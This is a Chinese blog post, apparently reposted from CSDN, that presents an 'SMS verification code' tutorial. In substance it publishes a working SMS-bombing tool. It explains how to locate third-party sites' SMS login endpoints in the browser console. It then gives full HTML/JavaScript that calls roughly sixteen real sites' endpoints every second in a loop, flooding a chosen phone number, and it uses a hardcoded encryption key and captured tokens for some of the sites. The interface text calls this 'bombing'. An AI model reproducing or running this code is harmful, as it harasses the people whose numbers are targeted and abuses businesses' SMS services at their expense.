Javascript发送验证码

一、请求原理

由于现在网站的都有手机登陆或注册,向制定地址发送一个post活get请求,那么我们利用这一思路,就可以在本地上利用Ajax来模拟网站的登陆注册操作,从而实现向发送验证码。

二、获取第三方网站验证码接口

随便找一个带验证码登陆的第三方网站,在浏览器中打开控制台,输入手机号码,点击获取验证码,我们可以看到又一个请求发送出去。

点击“index.php?m=LoginPhoneNew&a=sendMessageLogin”,查看载荷,我们会发现向下图中标记的url发送了一个get请求,有参数:scene、token,发现phone正是我们刚刚输入的手机号 

 我们在本地写一段代码,用ajax向上面的地址发送一个get请求,调用test()方法,将num的值换成自己的,看是否有验证码收到。

三、源代码

HTML代码

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>短信接口请求 V1.1</title>
    <meta http-equiv="Access-Control-Allow-Origin" content="*">
    <link href="plug/bootstrap/bootstrap.min.css" rel="stylesheet">
    <script src="plug/jquery/jquery-3.4.1.min.js"></script>
    <script src="plug/bootstrap/bootstrap.min.js"></script>
    <script src="plug/crypto/crypto-js.js"></script>

    <script src="index.js"></script>
</head>
<body>

<div class="row p-3">
    <div class="col-12">
        <div class="card border-danger border-1 m-auto" style="width: 500px;">
            <div class="card-header bg-danger text-white" style="line-height: 32px">
                短信接口请求 V1.1
                <a href="https://blog.csdn.net/weixin_43532890/article/details/114928740">
                    <img src="assets/img/js-jun.jpg" class="float-right" width="32" height="32"
                         style="border-radius: 50%">
                </a>
            </div>
            <div class="card-body pb-0">
                <div class="input-group mb-3">
                    <div class="input-group-prepend">
                        <span class="input-group-text">手机号</span>
                    </div>
                    <input type="text" class="form-control" placeholder="" id="phone">
                </div>
                <button class="btn btn-success" id="start" onclick="send()">开始发送</button>
                <button class="btn btn-danger" id="'end" onclick="end()">停止发送</button>
                <button class="btn btn-primary float-right" onclick="test()">单元测试</button>

                <div class="alert alert-success mt-3 text-center mb-0 p-2" id="msg" role="alert">准备发送</div>
            </div>

            <span class="w-100 text-center p-1" style="font-size: 12px">
                <a class="text-black-50" href="https://blog.csdn.net/weixin_43532890?spm=1001.2101.3001.5343">By:Js君</a>
            </span>
        </div>
    </div>
</div>

<script>
    var timer = null
    var index = 0

    // 开始发送
    function send() {

        $('#start').attr('disabled', true)
        $('#phone').attr('disabled', true)

        var phone = $("#phone").val()

        if (phone.length !== 11) {
            $('#msg').text('请输入正确的手机号')
            return
        }

        $('#msg').text('正在向:' + phone + '发送')
        $('#msg').show()

        timer = setInterval(function () {
            if (index >= requestList.length) {
                index = 0;
            }
            requestList[index++].fn(phone)
        }, 1000)
    }

    // 停止发送
    function end() {
        $('#start').attr('disabled', false)
        $('#phone').attr('disabled', false)
        $('#msg').text('准备轰炸')
        clearTimeout(timer)
    }

    // 测试发送
    function test(phone = ''/*这里填写测试手机号, 仅测试用*/) {
        $.ajax({
            url: 'https://editor.588ku.com/site-api/send-tel-login-code',
            type: 'GET',
            data: {
                num: phone,
            },
            async: false
        });
    }

</script>
</body>
</html>

请求接口(注意部分接口可能不能使用,仅供参考),需要自行

/**
 * 第三方网站短信接口
 * 最后更新:2021-03-12
 * @type {*[]}
 */
var requestList = [
    {
        name: '',
        fn: function (phone) {
            $.ajax({
                headers:{

                },
                url: "http://www.900ppt.com/api/login/getSmsCode",
                data: {
                    phone: phone,
                    easy: 1
                },
                type: "GET",
                dataType: "json",
            });
        }
    },
    {
        name: '',
        fn: function (phone) {
            $.ajax({
                url: 'https://editor.588ku.com/site-api/send-tel-login-code',
                type: 'GET',
                data: {
                    num: phone,
                },
                async: false
            });
        }
    },
    {
        name: '',
        fn: function (phone) {
            $.ajax({
                url: "http://test.marketing.i.vipcode.com/api/marketing/dataStatistics/sendCode",
                type: "post",
                data: {phone: phone,},
                dataType: "json",
            })
        }
    },
    {
        name: '',
        fn: function (phone) {
            $.ajax({
                type: 'GET',
                url: 'https://818ps.com/site-api/send-tel-login-code?num=' + phone,
                dataType: 'json',
                async: false,
            });
        }
    },
    {
        name: '',
        fn: function (phone) {
            function encrypt(data) {
                var key = CryptoJS.enc.Utf8.parse("AE74AF98D6BF55BF");
                var srcs = CryptoJS.enc.Utf8.parse(data);
                var encrypted = CryptoJS.AES.encrypt(srcs, key, {
                    mode: CryptoJS.mode.ECB,
                    padding: CryptoJS.pad.Pkcs7
                });
                return encrypted + "";
            }

            phone = encodeURIComponent(encrypt(phone))
            $.ajax({
                'url': 'http://ecs.tk.cn/eservice/member/login',
                'type': 'post',
                'data': 'syn=Y&functioncode=getmark&mobile=' + phone,
                'dataType': 'json',
            });
        }
    },
    {
        name: '',
        fn: function (phone) {
            $.ajax({
                'url': 'https://ipassport.damai.cn/newlogin/sms/send.do?appName=damai&fromSite=18',
                'type': 'post',
                'data': {
                    phoneCode: '86',
                    loginId: phone,
                    countryCode: 'CN',
                    umidGetStatusVal: 255,
                    navlanguage: 'zh-CN',
                    navPlatform: 'MacIntel',
                    appName: 'damai',
                    appEntrance: 'damai',
                    _csrf_token: '23oX2Nx9U8f1fAY70GEnkA',
                    umidToken: '3052e89b053c39db7435508f6158f606acf913f8',
                    isMobile: false,
                },
                dataType: 'json',
            });
        }
    },
    {
        name: "",
        fn: function (phone) {
            $.ajax({
                url: "http://www.kuaiming.com/user_zhu/getsjcode1",
                type: "POST",
                dataType: "json",
                data: {
                    userName: phone
                },
            })
        }
    },
    {
        name: '',
        fn: function (phone) {
            $.ajax({
                url: "https://www.sunlife-everbright.com/eportal/ui?struts.portlet.mode=view&struts.portlet.action=/portlet/CommonPageAjaxFront!memberCookies.action&moduleId=dc3a284c84fd4b818a3681828fcd2775&action=SendSmsCode\n",
                type: "POST",
                dataType: "json",
                data: {
                    mobile: phone,
                    action: 'SendSmsCode',
                },
            })
        }
    },
    {
        name: "",
        fn: function (phone) {
            $.ajax({
                url: 'http://user.api.hudunsoft.com/v1/sms',
                type: 'post',
                data: {
                    client: "web",
                    client_ver: "4.3.6.0",
                    code: "",
                    device_id: "209a642e56584b2c820b83a95245daf1",
                    domain: "http://huatu.98youxi.com",
                    phone: phone,
                    soft_version: "1.3",
                    source: "122",
                    uuid: "209a642e56584b2c820b83a95245daf1",
                    version: "v1.0.0",
                },
                dataType: 'json',
            })
        }
    },
    {
        name: "",
        fn: function (phone) {
            $.ajax({
                url: 'https://api-www.izhikang.com/api/sms/send_sms',
                type: 'post',
                data: {
                    sign: '3ca53d66c8d4d90bc9d373894d554799',
                    phone: phone,
                },
                dataType: 'json',
            })
        }
    },
    {
        name: "",
        fn: function (phone) {
            $.ajax({
                url: 'https://www.huohua.cn/passport/auth_code/send',
                contentType: "application/json;charset=UTF-8",
                type: 'post',
                data: '{"authType": "2", "countryCode": "86", "phone": "' + phone + '"}',
                dataType: 'json',
            })
        }
    },
    {
        name: "",
        fn: function (phone) {
            $.ajax({
                url: 'https://open-service.codemao.cn/captcha/rule',
                contentType: "application/json;charset=UTF-8",
                type: 'post',
                data: '{"deviceId": "89b5cb3b00a910b2a123d882a6255caf", "identity": "' + phone + '", "pid": "4ceH5ekc", "timestamp": 1614589965}',
                dataType: 'json',
                success: function (data) {
                    $.ajax({
                        url: 'https://api-marketing.codemao.cn/admin/marketing/sms/captcha/new',
                        contentType: "application/json;charset=UTF-8",
                        type: 'post',
                        data: '{"app_id":"", "phone_number": "' + phone + '", "ticket": "' + data.ticket + '"}',
                        dataType: 'json',
                    })
                }
            })
        }
    },
    {
        name: "",
        fn: function (phone) {
            $.ajax({
                url: 'https://app-gateway.zmlearn.com/api/operation-web-server/v1/ow/validateChildCode',
                type: 'POST',
                headers: {'Content-Type': 'application/json; charset=utf-8'},
                dataType: 'json',
                data: JSON.stringify({mobile: '86-' + phone}),
            })
        },
    },
    {
        name: '',
        fn: function (phone) {
            $.ajax({
                url: 'http://www.92sucai.com/send_code',
                type: 'post',
                data: {
                    type: 1,
                    phone_num: phone,
                },
            })
        }
    },
    {
        name: '',
        fn: function () {
            $.ajax({
                url: 'https://api.gif.cn/register/sms',
                type: 'post',
                data: {
                    phone: phone,
                },
            })
        }
    },
    {
        name: '',
        fn: function () {
            $.ajax({
                url: 'https://www.diantoushi.com',
                type: 'get',
                data: {
                    mobile: phone,
                },
            })
        }
    }
]

效果展示

  

四、源码下载 

CSDN下载链接:https://download.csdn.net/download/weixin_43532890/15739414

加入QQ群:640868439 下载(由于审核问题,可到群里下载,免费)

猜你喜欢

转载自blog.csdn.net/weixin_43532890/article/details/114928740
今日推荐